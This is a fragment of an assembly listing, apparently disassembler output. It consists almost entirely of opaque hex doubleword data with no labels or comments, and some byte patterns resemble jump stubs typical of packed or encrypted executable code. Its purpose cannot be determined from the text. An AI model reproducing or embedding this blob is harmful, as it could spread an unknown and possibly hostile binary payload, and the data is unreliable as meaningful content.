		dd 8D3F32E6h, 0A7194BFFh, 0E418FC19h, 583E7E39h, 2613E9CBh
		dd 44F88630h, 5412A012h, 399DE608h, 0CCAA1305h,	0CA5FCF5Bh
		dd 83AC21ACh, 9CACA9FCh, 0F2EF5D94h, 0D999E3F3h, 0B014164Eh
		dd 3956CB99h, 0B1A75844h, 3F340A07h, 34B29491h,	0D9D1CAC6h
		dd 0EDE57B6Bh, 0B5F0BEA6h, 0FA000000h, 85823426h, 0CC786D75h
		dd 0B0A6D0CFh, 1F4DEF06h, 0B6AEB0ADh, 0CF5E2B85h, 0D9C72B9Dh
		dd 5B4C927h, 8E94ABACh,	393688DAh, 80CC2129h, 3E45A969h
		dd 0F346A6DAh, 0A3565BCBh, 0DCAB4315h, 7D524478h, 454D55DAh
		dd 0AAA9A612h, 0E145F893h, 0D3799D9h, 6D6C69DBh, 64727A56h
		dd 145644D2h, 1D7E3DE0h, 0C7FBBF5Eh, 5E1D7E56h,	89A0F3A6h
		dd 1447F1E7h, 0C4CB1D8Bh, 0CC08EC85h, 74000000h, 9448D660h
		dd 0B367F543h, 0CF8311BFh, 0EA9E2C80h, 0A9BC4AFCh, 4BFDEBC7h
		dd 68D409BDh, 812B26DAh, 9B2D3FF3h, 0D80CF00Dh,	583E7D45h
		dd 26FFD5B7h, 44F88630h, 5412A012h, 85823426h, 7D0BBDAFh
		dd 0E04443ABh, 0F640969Eh, 0A9C33DF9h, 72782498h, 463A081Fh
		dd 3E5BC693h, 907E8E8Bh, 0A3A1FD48h, 4CEE059Dh,	661AA81Ah
		dd 0C3C5C274h, 391616CDh, 996CDAACh, 7967F547h,	0D0CD7F71h
		dd 0C618BAD1h, 0B7095B63h, 0B865BBBAh, 4CF96717h, 0D07C6F99h
		dd 8481D4D3h, 0E0BA1AEh, 53269446h, 6D21AF01h, 16820C7Bh
		dd 59796457h, 1265B804h, 193115h, 0ECC70000h, 82A776AAh
		dd 0A2555E2Bh, 868E8E8Bh, 42D3E349h, 59C029F4h,	26954158h
		dd 0B58B8836h, 3E1411A3h, 0C69C9933h, 52282597h, 0DFB5B204h
		dd 6C423F89h, 0F6CCC967h, 815754FAh, 1AE5E26Eh,	5E08950h
		dd 4, 4BE56h, 0F0290000h, 2404875Eh, 0A09685Ch,	3C890000h
		dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 55243489h
		dd 252D98BDh, 2EDC104h,	0AFE2C581h, 0EF8904E3h,	81242C8Bh
		dd 4C4h, 348B5400h, 4C48124h, 50000000h, 8B8h, 52F00100h
		dd 1089FA89h, 34FF585Ah, 0C4835E24h, 243C8B04h,	81E68956h
		dd 4C6h, 4C68300h, 5C243487h, 0FB429CE9h, 9D1B4BFFh, 0B89EEB77h
		dd 5ED063Fh, 0E0FFC503h, 2BD237F3h, 7849DDEFh, 5C09D573h
		dd 60C8C577h, 0AD8CFF1h, 469A0864h, 1D77E603h, 16C50D6Fh
		dd 6B263412h, 6B8FCFE0h, 1133D30Ah, 3513D9CEh, 565E2ECDh
		dd 583CBF3Fh, 0B7D57C1h, 27BED31h, 9E8h, 762CAB00h, 644CED89h
		dd 880FA9FCh, 20h, 1A880Fh, 14E80000h, 2F000000h, 48486A09h
		dd 8478E4B6h, 7797A5AFh, 4EFD9285h, 5B028A0Fh, 0B9F38159h
		dd 8123615Ch, 6E38C1h, 0B8FBB600h, 2936F600h, 2565C081h
		dd 6660D6C9h, 611811B8h, 0BEBE398Bh, 81427703h,	2996E5F7h
		dd 5E9602Ah, 0E2000000h, 3898B35Bh, 98C78161h, 0E9542D50h
		dd 0Ah,	0B05410Ah, 0C885156Dh, 0EF81471Ch, 49A4ABAAh, 89D7BF0Fh
		dd 0D6816639h, 0E9838038h, 7E901h, 209C0000h, 27BB337Ah
		dd 49494946h, 0F48D08Bh, 0FFFFA785h, 928D8DFFh,	8005ED08h
		dd 8B666DF6h, 0A98D89C3h, 6005E71Ah, 4840Fh, 0BE660000h
		dd 0B58B705Bh, 5E7287Dh, 4D85C761h, 0F405E72Ah,	66000063h
		dd 0C75FAFBAh, 0E7273985h, 5, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0AE5A08Bh
		dd 0EE98351h, 0B3000000h, 9CE40A56h, 787401B2h,	0E55DB9B4h
		dd 0CD9D8B65h, 0FF05E723h, 0E72AF1B5h, 52006A05h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 81AD5439h, 0F73DF6E6h, 9595FF27h, 6A05E717h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 651C351h, 9D8BACEFh,	5E7066Dh, 95FF006Ah, 5E721C1h
		dd 68EBC08Bh, 85AE46B9h, 0EFC31693h, 0A12A7983h, 6F5AE042h
		dd 0A042E143h, 96C3AF32h, 8D367001h, 9D09B89Eh,	69F018EDh
		dd 67B1B3A2h, 0ADFF8335h, 0BD2829Ah, 0D432CF40h, 62F3367Eh
		dd 0C526D33Dh, 2A2CBF24h, 1AF6086h, 9B533F4Fh, 1FEC904Bh
		dd 95D0D9A2h, 82F18DDBh, 896B8677h, 0CB262148h,	2C900B02h
		dd 0C3F21EE5h, 135E8F2Bh, 5E8h,	9118F400h, 9D29948Ah, 5E708B5h
		dd 7E95Fh, 51610000h, 99616A28h, 6EC7813Ch, 6000005Eh
		dd 2A959D23h, 8D0305E7h, 5E716FDh, 177CB961h, 0B8660000h
		dd 378B5952h, 77CA8166h, 0DC681B8h, 0F0F41A2h, 38Ah, 5EDE8000h
		dd 0D191EE81h, 5E908CFh, 9E000000h, 5CC1D0A5h, 6925EE81h
		dd 8166215Eh, 8963A5E8h, 8381B637h, 858901EFh, 5E72CC5h
		dd 0F4F4F4Fh, 0F49C2BFh, 0FFFFB585h, 0EBD98BFFh, 9E7D0079h
		dd 0E2218CEFh, 0ABAFD60Fh, 4DB2979Fh, 95B7E37Ch, 0A9E57200h
		dd 0B69CB5E9h, 0F377609Bh, 0B794A9B6h, 60D7609Eh, 0A9BD897Dh
		dd 9EBD8C9Eh, 95ACE372h, 0B98B204Ah, 89937E9Bh,	0F496B99Dh
		dd 0A19E96AFh, 0A7D6B594h, 0D100FD91h, 594ACC48h, 713C33h
		dd 57DB4D52h, 0B7D65EF3h, 0F600B79Bh, 8995ABAFh, 56F0009Fh
		dd 0B3D7C771h, 711800BEh, 0ADC4D756h, 0C42173E2h, 67E97587h
		dd 6800000Fh, 5ED0BEDh,	0FA767EE9h, 0CBA68FFh, 74E905EDh
		dd 68FFFA76h, 5ED0DBEh,	0FA766AE9h, 0F1368FFh, 60E905EDh
		dd 68FFFA76h, 5ED0F9Eh,	0FA7656E9h, 106B68FFh, 4CE905EDh
		dd 68FFFA76h, 5ED111Dh,	0FA7642E9h, 11C668FFh, 38E905EDh
		dd 68FFFA76h, 5ED1278h,	0FA762EE9h, 134E68FFh, 24E905EDh
		dd 68FFFA76h, 5ED1493h,	0FA761AE9h, 169768FFh, 10E905EDh
		dd 68FFFA76h, 5ED17A5h,	0FA7606E9h, 83964EFFh, 0CC5D9DEDh
		dd 1AFFE636h, 65CC3484h, 0AD7C7FCFh, 7295FE17h,	0BA0AA089h
		dd 757ED44h, 51A137FAh,	18ED83AEh, 0DE2E12FFh, 0D0B65A7Eh
		dd 0AE39C64Bh, 0BD778F4Ch, 0E8E2EA07h, 0EDCF1C82h, 9F891F12h
		dd 33E5B674h, 0A005A299h, 3796833Ah, 0B25177D2h, 0D1CCB09Dh
		dd 86545A79h, 2572404Eh, 79D18464h, 34F5065Ah, 36FB05E7h
		dd 2F1300E9h, 0B75A79D2h, 0D22876E9h, 0DA3036CDh, 0A5847684h
		dd 6DB856Dh, 25BC409Bh,	67000000h, 0DA91FB2Ch, 76FC26EDh
		dd 21D8A651h, 941E813h,	0FBBF9F60h, 545A5A78h, 0D429D386h
		dd 0F30A409Bh, 0B5000000h, 0ABF839C6h, 0E54CB4C2h, 0E74AB698h
		dd 649C029Ah, 3986A358h
		dd 0D289A857h, 0E66716C0h, 52A904D1h, 903971D7h, 29E051AEh
		dd 7A478A17h, 93CBF389h, 0C53C4AA1h, 0E249346Ch, 0E45491D4h
		dd 2980161Bh, 0FE4BE61Bh, 0DD222E66h, 0D63CF50Ah, 428EA089h
		dd 4AF03265h, 0C3F49AD2h, 0CAB5A259h, 0D2517794h, 7CF188B6h
		dd 863DA549h, 498276DCh, 5EF45AC0h, 718F4374h, 75DB73C0h
		dd 2684D1BEh, 36045760h, 997D6A7Fh, 21606346h, 0FA081B53h
		dd 3B922801h, 46553926h, 0E4DB6063h, 0B92E9885h, 0F8AC7A2Ch
		dd 60A8D7D4h, 1E2A6223h, 0E8284CDDh, 80DF04ABh,	0CC1FFA3h
		dd 31B30000h, 0F80252E8h, 9A4B9B31h, 6799E97Fh,	17E434CAh
		dd 0FA637C12h, 6F0524D7h, 0BC52DF1Fh, 69C956Ch,	52E849B6h
		dd 9377647Dh, 1B5A7EDEh, 35C6B035h, 0F10E5EF4h,	0C42AEFF6h
		dd 0FB2CD92Eh, 26EDDA91h, 0A65176FCh, 0EACA8BD8h, 855A78FBh
		dd 51D82230h, 0D4875519h, 409BD42Ah, 0BE0Bh, 39C6B600h
		dd 0B4C2ABF8h, 39BE831h, 0ED3CBFCBh, 0D178DFA0h, 65735491h
		dd 535F979Ah, 9FEF85ACh, 884D160h, 0B87A1FDFh, 27E7570Ah
		dd 0FDB18593h, 7BBE32CEh, 0FBAF0B6Dh, 2AE147ADh, 76E3523Dh
		dd 0B4475551h, 612F3D75h, 46B6E1CBh, 7344A28Fh,	0F6C4575Fh
		dd 11CA313Fh, 0A6988AE4h, 0A83EA4E1h, 6286A358h, 0DF0669B8h
		dd 0F44FF3D0h, 8000000Bh, 0CF1FB564h, 1868FE2Bh, 66B64CCDh
		dd 0B101979Ah, 3049DF4Ah, 0D257A4C7h, 1F12EC3Ch, 69C83989h
		dd 0B57C83D3h, 44314A1Fh, 5A7EDF60h, 0BF7D02E8h, 0D3D9BDAAh
		dd 93615491h, 7DAC4F5Bh, 0EC2DB8C6h, 0D3644835h, 1EEC5491h
		dd 5BA4F4E6h, 0C6EB40D6h, 0C9ABF839h, 0E65FB36h, 0D4280CF9h
		dd 0E2B05491h, 84479EAAh, 0BD10B57Ch, 82399FC9h, 58A58C74h
		dd 0FDDF88C0h, 0DA992F02h, 4D3A4F92h, 54921169h, 8D6F23F1h
		dd 9D0881A5h, 3B6C124Ah, 0EA2D1AD1h, 7251774Bh,	1CDFEDA4h
		dd 8B0CD50Dh, 0A9037EACh, 4FAF6394h, 97FD95E2h,	0AFACF3E0h
		dd 142C4EE8h, 2AE147EAh, 25645118h, 0D188DB4Ah,	0EB0000E4h
		dd 82BA8857h, 712A5DD9h, 0EAFFA084h, 1C092857h,	57EB0038h
		dd 268CF2C0h, 0DB43826Fh, 0B0BE54D4h, 0F991DE4Bh, 0A794B3C1h
		dd 5DD57CC3h, 60177D4Bh, 0EE84AD52h, 0ACD0619Eh, 0E192D678h
		dd 0F07F2300h, 8400000Ah, 0D323B960h, 1C6C0227h, 6ABA50C9h
		dd 0B5059B96h, 344DE346h, 0D653A8CBh, 230EF040h, 6DC43D8Dh
		dd 0B97887D7h, 48354E23h, 5A7EE064h, 0BF8106ECh, 95E24FB1h
		dd 46B9C5FDh, 0B8744A1h, 0DAA7FBD5h, 5AF23FA5h,	0F82BA7F4h
		dd 35ECD990h, 0B05176FFh, 2CAAE9Bh, 84525A79h, 0B9703E4Ch
		dd 91DE53ABh, 2D7BBA8h,	915F5A79h, 1701F32Bh, 0D8C57CECh
		dd 575E238Dh, 39FA4715h, 60602359h, 9D8A9FF4h, 606023B9h
		dd 773B7341h, 44BDCB61h, 5808A0EDh, 695189A8h, 4EB2ACBFh
		dd 19FDEAFFh, 0A1606030h, 53B97889h, 50A91Bh, 40520000h
		dd 4041704Dh, 28D28251h, 0E41CB401h, 91FB2CD3h,	9F29EDDAh
		dd 95B15176h, 85727881h, 5A7962A1h, 0AFA75B29h,	9047AD88h
		dd 63B07982h, 432714CBh, 0CB5A7952h, 0A4B2C5FDh, 0F3ED45Dh
		dd 5A795331h, 4FE54CB3h, 0E22F02FFh, 9F63Eh, 0FB2CA100h
		dd 7AEDDA91h, 82517CDBh, 10EFFDB4h, 0C43B8B21h,	0B4A1B66Dh
		dd 5A7EDDD0h, 0A9528A58h, 0DB92FA2Dh, 69E596EEh, 91481657h
		dd 0FEB57C83h, 24B550ECh, 84BCEF9Eh, 74BD4292h,	1078AB27h
		dd 0F1E16C59h, 0D6E45D50h, 0C4D20A0Fh, 76DC55ACh, 155CDC52h
		dd 53F7D4D9h, 99Bh, 780E0BD9h, 0C157D228h, 0FA57471h, 5AF041BFh
		dd 0A238F10Ah, 0FEFD2089h, 0B945952Bh, 6F92E278h, 23DC2CC2h
		dd 8AA3780Eh, 7EE2B99Dh, 0D65B415Ah, 91D407E7h,	54C4EF54h
		dd 0BF728F9Dh, 0D4371B08h, 0F1BF5491h, 69B9A6B9h, 0E9517CDBh
		dd 624F641Bh, 5A7EDD7Eh, 0ED003806h, 7B1120DFh,	1F0CD42Bh
		dd 5A7EDE3Bh, 428FF5C3h, 742B9DC6h, 8594515Fh, 7D68A038h
		dd 5763DBC6h, 62B72E46h, 0F3177D15h, 0DF027345h, 10AE522Fh
		dd 64000009h, 0B3039980h, 0FC4CE247h, 4A9A30E9h, 95E57BB6h
		dd 142DC366h, 0B67388ABh, 32ED020h, 4DE41D6Dh, 999867B7h
		dd 28152E03h, 5A7EE244h, 0C661E6CCh, 0C2ABF839h, 98E54CB4h
		dd 43BCC800h, 0D82937EEh, 0DD782159h, 50FA6D7Bh, 90457CF8h
		dd 0DBAA8E7Bh, 64325491h, 95E247B4h, 0D653C5FDh, 0FE000003h
		dd 0DA91FB2Ch, 7CDBA1EDh, 0E4162451h, 2860F845h, 8558FE1Ah
		dd 1471362Ch, 16E9F7AEh, 0CA35851Bh, 59452916h,	2FCF5A7Fh
		dd 0D2825002h, 4E9B0128h, 7F59AD8Dh, 0FA62955Ah, 1EC93543h
		dd 68004DDCh, 0E51DB502h, 582EE5D2h, 8FAE5764h,	665BBEA2h
		dd 79B84860h, 0C6E2942Ch, 4DDB3C2Bh, 0C3298FC5h, 24DA39Fh
		dd 7418F5DFh, 843h, 0D066B331h,	19AF7A80h, 67FD1CC9h, 0B248E917h
		dd 0FA909962h, 0A65578E1h, 619DED83h, 17EA3AD0h, 0CB34841Ah
		dd 0E2FBD066h, 7EE411F5h, 2EB3995Ah, 0ABF839C6h, 0AEFB36C9h
		dd 604D6213h, 5491D37Ch, 75863604h, 22B87CB4h, 0C87FFA0Ch
		dd 11F8330Fh, 0F747F1D9h, 0E28457Ch, 0D1000003h, 0EAEBCFBCh
		dd 0A5735491h, 7E75C6Dh, 0EF5491D4h, 0B09D54C4h, 517CDB22h
		dd 8F9D5422h, 0DB2BC170h, 48560D24h, 4C2E7BB6h,	0E1197FB2h
		dd 4D3A4F38h, 5A7EDD69h, 45EB23F1h, 886C5912h, 105A7EDDh
		dd 3825DC42h, 5763DB81h, 3D0F3301h, 0AFDF0274h,	7912ED2h
		dd 1E30000h, 0C8328218h, 6A7BCB61h, 37C919AFh, 0E71464FAh
		dd 2A93AC42h, 9F35F407h, 0EC82AF4Fh, 36CC659Ch,	821819E6h
		dd 0C3A794ADh, 4B5A7EE4h, 39C6E065h, 36C9ABF8h,	6213AEFBh
		dd 0D37C604Dh, 36045491h, 0B9AC3AFEh, 457CF80Fh, 6FBA414Fh
		dd 0E0528A22h, 261h, 0AD847B89h, 7E76475h, 825491D4h, 0D39C806Dh
		dd 56245491h, 9FD75AA6h, 0A75ECEF9h, 0ED008092h, 32E210F4h
		dd 0F08A0FFAh, 0BC8A517Ch, 2908F705h, 75BC4393h, 0CF313F28h
		dd 457D1562h, 4D04749Fh, 63EEB160h, 3F633157h, 0DF024517h
		dd 0E8E08461h, 8C000006h, 0DB2BC158h, 24740A1Fh, 72C258C1h
		dd 0BD0DA38Eh, 3C55EB3Eh, 0DE4BB0D3h, 2B06F848h, 75BC4595h
		dd 0C1708FDFh, 503D562Bh, 5A7EE46Ch, 0C6890EF4h, 0C9ABF839h
		dd 0DAAEFB36h, 0B599869Bh, 3D5491D3h, 6573376Fh, 6A0031CEh
		dd 7CFC943Eh, 34C6D445h, 74BBDF5h, 0F6000000h, 1B004h
		dd 0AABF6700h, 91D3D9BDh, 5B936154h, 91D38E70h,	0E3557E54h
		dd 0DABD3F2Ch, 0A9C5517Ch, 1E5CA6A8h, 1FD63CCEh, 0C44ED11h
		dd 1D14EBF9h, 0D1B3087h, 0CCB03FF2h, 545A7F0Ch,	0BD424E86h
		dd 78AB2774h, 0BD6C5910h, 3D576408h, 2B154B6Fh,	825FDF02h
		dd 636DEh, 73A63E00h, 0BC6D8DDDh, 0A0FD626h, 55DC2474h
		dd 9D8C6FBFh, 6285EE07h, 0AAFA9099h, 0F747DD54h, 4191270Ah
		dd 8DD73BEh, 0E61E02EFh, 0C0A65A7Eh, 50B1BF3Bh,	0C4FC94E1h
		dd 279C47B8h, 50C6D77Ah, 0B2B85004h, 0FD21DF4Ch, 53614A97h
		dd 0A13986ABh, 8FA25D69h, 94856042h, 959C6547h,	374A6248h
		dd 355A173Ah, 0E9B644F2h, 0B2815747h, 0F74EE44Dh, 0E31B16E9h
		dd 7C5151FBh, 73245h, 4DD0000h,	0D9h, 0D406E767h, 0CDF65491h
		dd 0D4391D0Ah, 0F3C15491h, 0AFC1D68Dh, 4731435Dh, 624D850Dh
		dd 517DD4E7h, 5C6A21EFh, 0A8F88EA3h, 0A48DDA57h, 0D7BEA28Fh
		dd 78465A7Fh, 0FF699A40h, 0D3AC5B48h, 102C5764h, 3A745980h
		dd 8EB2184Bh, 0DF00C3DCh, 60CB6F4Ch
		dd 14000005h, 63B349D0h, 0ACFC9297h, 0FA4AE039h, 45952B06h
		dd 0C4DD73B6h, 66C3385Bh, 0B37E80D0h, 0FD34CD1Dh, 49E81767h
		dd 0D8C5DEB3h, 5A7EE6F4h, 0C611967Ch, 0C2ABF839h, 669946B4h
		dd 801865CBh, 6EC33C48h, 8F5D4D21h, 54EA47B8h, 7CFC7E28h
		dd 12ACBE45h, 1415E63Bh, 0CB7B2FC7h, 5FD1097Eh,	7, 1F040Ah
		dd 0C6670000h, 0C9ABF839h, 0FCAEFB36h, 0DC2332C8h, 5668BF55h
		dd 807C1F88h, 0BC8AC2AFh, 12h, 0F839C61Fh, 0D40BEAABh
		dd 32145491h, 0BF728DA4h, 39C6D429h, 42FABF8h, 0CC7CB54Ah
		dd 15ADFA2Fh, 17EAF8AFh, 0FD35CD1Ah, 34C7D5EAh,	0D810A8F5h
		dd 7CDB7AEDh, 76638251h, 5A7EDD92h, 2FE64C1Ah, 552DF21h
		dd 1422356Dh, 59B046EBh, 0F3130347h, 4A37AB4Ah,	5A7F2F66h
		dd 0ABA20EEh, 55ED3AF7h, 43EE111Dh, 95497AF6h, 0DE76C366h
		dd 96E9E62Ah, 0A40AA9C8h, 39A800EDh, 5A28576Ah,	0C76A95A3h
		dd 34CCDA31h, 2CCEB0FDh, 535F97FDh, 0B9CE85ACh,	6C3BE8CCh
		dd 6AA27060h, 0AA1245C1h, 0C599E1F3h, 75B5576Dh, 0B23D2A3Dh
		dd 0BA5D511Bh, 1FEC6F9Eh, 7EE4A9E6h, 15221A5Ah,	0E18562D9h
		dd 41Bh, 0F88E8B59h, 41D752A8h,	8F25F4F1h, 0DA70C13Fh
		dd 22B8718Ah, 7E7DA009h, 39C515ABh, 0EF1262F8h,	0A35CAC42h
		dd 0A23F88Eh, 7EE8391Dh, 56DBC15Ah, 62F839C6h, 0F744ED12h
		dd 9047EA15h, 9579667Bh, 1D5491D3h, 0D3DCC04Fh,	96645491h
		dd 0F1E1B55Eh, 7233451Bh, 2E12FF30h, 0B654929Bh, 0E05434E8h
		dd 0CD323E76h, 0F8A2CE64h, 0D9457CEBh, 35h, 43FB2C84h
		dd 0BD96D8E6h, 82399FAEh, 76F7D195h, 523F5451h,	5A79796Eh
		dd 0E2F028F6h, 0B24F5D14h, 0DCBAE97Fh, 5E5A7979h, 0AAFA90A1h
		dd 0E98DDA57h, 377h, 91FB2C4Ch,	0DACAEDDAh, 4D25176h, 25C0CEB7h
		dd 4FB0BCF4h, 4378B394h, 1C824740h, 889A1DCFh, 26D45520h
		dd 9570248Ah, 0CD7569E5h, 8D5B1F57h, 0CA81EB1Ch, 5E14BADDh
		dd 5EF4C257h, 22D94374h, 451D1235h, 0FF4C1A5Dh,	0E9F20816h
		dd 0E188E8F4h, 457DE3FFh, 1A67C239h, 1BCAD875h,	0F402C6FEh
		dd 70544156h, 0F86646DBh, 1B4CF22Ah, 0EA0DFAB1h, 0ED632BE2h
		dd 0E607EBD8h, 0C18F6C2Dh, 17AD7B89h, 36AF38C7h, 98FE96E3h
		dd 0A750624Bh, 9365710h, 0ADFA37CAh, 6B77AF15h,	0D1E69D94h
		dd 2ED200E4h, 82BA886Ch, 0B7DA690h, 0DE086754h,	70886913h
		dd 0ED3AA091h, 2405F604h, 1C073FD7h, 7215DE3Ch,	503BD1D7h
		dd 58F8F2A6h, 2887h, 0FB2C3200h, 0B7C5DA91h, 0D1609E49h
		dd 8148336Bh, 15176FBh,	4525E633h, 0E05A78FBh, 0AF590CDAh
		dd 90409BD4h, 0B8h, 0AE39C63Bh,	2E7BE150h, 69C83745h, 53D62531h
		dd 56DB2406h, 0FD82709h, 5CF441F0h, 0CA3160F6h,	0CC5491D0h
		dd 1168FE33h, 0D82B0FFCh, 0E5B35491h, 0D35EA1ADh, 6FD90A86h
		dd 6C95A3B8h, 0AFA28DC5h, 0B75176C8h, 3E6953E9h, 0C42A17CEh
		dd 0C4575F82h, 0CA313FF6h, 0D9C12511h, 31979CB5h, 79B04B9Bh
		dd 6152955h, 6AA87DFh, 217h, 0FC92875Dh, 45DB4EACh, 9329F0F5h
		dd 0DE74BD43h, 26BC6D8Eh, 7A81A40Dh, 35C919AFh,	0EB1666FCh
		dd 9F60B046h, 0E27FC92h, 7EEA3D21h, 5ADFC55Ah, 81A635C6h
		dd 6F617592h, 0FD4AE719h, 399FF65h, 4FE54CB3h, 1B16EAF8h
		dd 0EDFE36CEh, 0DA91FB2Ch, 0C45930C8h, 56D1363Dh, 0AA722653h
		dd 9FB2EA50h, 7758EBB2h, 509D6B51h, 7958AF8Fh, 0B6444A5Ah
		dd 9B7919C3h, 0E2FA40h,	0C6A50000h, 0E281AA39h,	0E8A18572h
		dd 5B295491h, 8F73E2A7h, 9257BEA2h, 12784654h, 64765FACh
		dd 92EF7A1Fh, 6C78B090h, 8C4D9A8Fh, 54923825h, 0C359D827h
		dd 0EEA58C73h, 8573F1DCh, 2AF7D807h, 1B12DAC3h,	0E992CA30h
		dd 9F843A6Dh, 0F4376FFAh, 0EF0AEDC7h, 6593673Bh, 685B48FFh
		dd 70517728h, 0F1220CA2h, 50342136h, 0D85A794Eh, 4E977B0Ah
		dd 511F5A79h, 83D059A1h, 0E1CE85EBh, 575FDE9Ch,	89974E1Ch
		dd 0D121B772h, 0ADDBFF2Ah, 0F7DF0552h, 109761Ah, 796B0000h
		dd 40BA0AA0h, 0E20353E9h, 0AF51A137h, 5F9CEC82h, 0B21B34CAh
		dd 27BD6C8Fh, 740A27D7h, 0BE54DD24h, 0AA0916Eh,	4B2F1C35h
		dd 0D35A7EEAh, 35C668EDh, 0F5075EF4h, 8305F571h, 0ED11C1FDh
		dd 0FF000C44h, 0C2697B32h, 7CEFB234h, 6EC3B5EDh, 0ABF839C6h
		dd 50B136C9h, 0FBE57BE1h, 0BCA960C8h, 517CDB51h, 0C2D48B59h
		dd 299BE2EBh, 0B933DD5Dh, 86F644C3h, 9E8B7020h,	24DBBD66h
		dd 0D827770Dh, 7B8DA259h, 4E30835Ch, 19FD8CBBh,	0A15A7F20h
		dd 56DB23D3h, 90397109h, 0E85B6ACFh, 9E936C2Ah,	9F926F51h
		dd 0A0917052h, 2919BB53h, 1A4ECED3h, 5D8A75CCh,	1FDC8C9Dh
		dd 0BE0EA40Ah, 0D75AA641h, 2D3B2471h, 7A125FD2h, 67CA3642h
		dd 0D127751Ah, 2CDA697Bh, 2EE237AEh, 0EC24D926h, 5B121FE0h
		dd 447CAD4Dh, 0EAFD0252h, 66B31910h, 1AC2h, 210E2300h
		dd 0CAEA023Dh, 0AEBFF7C5h, 0EEFC1158h, 0AA8E1D0Ch, 325491D3h
		dd 0C61B2C64h, 0CCAEFB1Eh, 0CFB1FE33h, 0D0B2FF32h, 0D4B6032Eh
		dd 0D3B50227h, 0D2B40128h, 0D4B6032Eh, 0D9BB0811h, 6FBB0821h
		dd 38B668h, 240C8900h, 0C181E189h, 4, 8704E983h, 525C240Ch
		dd 0C281E289h, 4, 4EA81h, 14870000h, 0C895C24h,	5A9C6824h
		dd 1C890000h, 0F7DB924h, 0C181620Ah, 47D50DDBh,	649ABB53h
		dd 0E3C15CB4h, 2EBC107h, 8190F381h, 0D929B57Eh,	4EC815Bh
		dd 89000000h, 4832424h,	505B0424h, 8B8h, 53D80100h, 0BBh
		dd 89C30100h, 0FF585B0Bh, 815B2434h, 4C4h, 2434FF00h, 4C48359h
		dd 0FA672EE9h, 616DDFFFh, 4D7C29FAh, 41FA49E4h,	0D3B88115h
		dd 305ED18h, 4CE0FFC5h,	933524D3h, 8F7E670Eh, 3660FD9Dh
		dd 0D273AFB0h, 574465C9h, 0A5614738h, 4F7BFF7Bh, 13521747h
		dd 0F20CD4D5h, 0A66EEC60h, 0F4581F69h, 0F602BA9Fh, 9715A063h
		dd 0CE01BFCCh, 0D0314C50h, 301E7633h, 0C42E5F99h, 3E3AC50Dh
		dd 0CE2DFE3Bh, 0F94F51FDh, 0F8435E1Ah, 354F327Ch, 9E226A14h
		dd 10372C26h, 0E9460B43h, 17Dh,	4FFE5D60h, 6FC2016Ch, 0B4CAD1D7h
		dd 5B7E41EFh, 5D9752E4h, 0FCA3FB6Dh, 9EB99244h,	0BCD792A5h
		dd 93B9E495h, 9DB2CB00h, 9CACA3F4h, 9EB9FCh, 0AFC945D2h
		dd 0FC00EE73h, 9CBA9755h, 0A4E56D59h, 0FEACFFB2h, 5657F647h
		dd 0CCD4C4h, 8F7DB5F6h,	539549F7h, 0C9BCFA97h, 915CCD45h
		dd 0ACE56CA1h, 10000h, 43h dup(0)
		dd 36D1F800h, 0C20DA437h, 0C4D31AD3h, 10A2E976h, 16680000h
		dd 0E905ED1Dh, 0FFFB2DF5h, 0ED1E6368h, 2DEBE905h, 0F468FFFBh
		dd 0E905ED1Fh, 0FFFB2DE1h, 0ED20CF68h, 2DD7E905h, 1E68FFFBh
		dd 0E905ED22h, 0FFFB2DCDh, 0ED232968h, 2DC3E905h, 0C368FFFBh
		dd 0E905ED23h, 0FFFB2DB9h, 0ED243368h, 2DAFE905h, 5268FFFBh
		dd 0E905ED25h, 0FFFB2DA5h, 0ED25EA68h, 2D9BE905h, 9968FFFBh
		dd 0E905ED26h, 0FFFB2D91h, 0ED278668h, 2D87E905h, 2D68FFFBh
		dd 0E905ED28h, 0FFFB2D7Dh, 0ED298C68h, 2D73E905h, 6D68FFFBh
		dd 0E905ED2Ah, 0FFFB2D69h, 0F17FC91Dh, 109E2A3Dh, 2CBA145Ch
		dd 47D57B78h, 65F34593h, 46947052h, 0A3B266F4h,	82CF8311h
		dd 0F6E89C2Ah, 0B599B644h, 3E679C81h, 0A87E6058h, 85823426h
		dd 2134BDAFh, 44979693h, 790AE4B6h, 8DBFE115h, 14025BCCh
		dd 0AB9882B3h, 4BE6FD24h, 88999B98h, 0A658445Ah, 5184C8Eh
		dd 0F758445Ah, 3712D44h, 0A7017D13h, 3188BEh, 8920000h
		dd 4B399DE6h, 0C7E49B0Fh, 0F6D2E99Dh, 0CBFC56C2h, 96CA8E5Bh
		dd 5843FC87h, 726FC275h, 43FCB170h, 17857D58h, 0A72B9127h
		dd 0F79CBEh, 26A60000h,	301E8234h, 0CFE246Dh, 0BE6D956h
		dd 0FBCDD5F5h, 461C91A8h, 0D3A9A610h, 5C322F81h, 4A2AB80Ah
		dd 5E2B5005h, 17A5B6BEh, 0BA0C5E00h, 0D466782Ch, 7C0BE3D7h
		dd 5410E418h, 61145BCCh, 0BFED01D3h, 0A20C44ADh, 53A6A5h
		dd 26689Ch, 8B7955DBh, 47EF2418h, 0AF4A6113h, 5A9098FCh
		dd 164A8CF0h, 5E1CF607h, 0F69D80B4h, 0AC5F5E1Ch, 0B9BFD689h
		dd 3265D705h, 0C4CAC600h, 4F11F58Eh, 3C00000Eh,	5C109E28h
		dd 7B2FBD0Bh, 974BD977h, 0B266F458h, 718412A4h,	13A5B38Fh
		dd 309CD185h, 49E3EEA2h, 63D507BBh, 0A0D4B8D5h,	583E657Dh
		dd 0ECC79D7Fh, 82A776AAh, 0E0145E2Bh, 5E2B823Dh, 36E90CBFh
		dd 6A67C50Ch, 0A4B2546Bh, 4C331301h, 8A7B1C18h,	2B21E934h
		dd 15681B5Eh, 0E23B6FB1h, 225E2B21h, 0A0F35998h, 9DCF8389h
		dd 6DAF9D2Bh, 2B21E439h, 4E65185Eh, 8CE608A2h, 2B82C558h
		dd 3184375Eh, 15498BCDh, 5E2B8208h, 643249FCh, 5BCCAAB4h
		dd 37F4E7EFh, 445A1A03h, 0E437EA58h, 36D1E8E7h,	0DA171F83h
		dd 59F02D61h, 61145844h, 3055110Eh, 16C51B34h, 78ED0457h
		dd 440DAB76h, 1D8B8358h, 0A71A972Dh, 0CAA2BEh, 26AC0000h
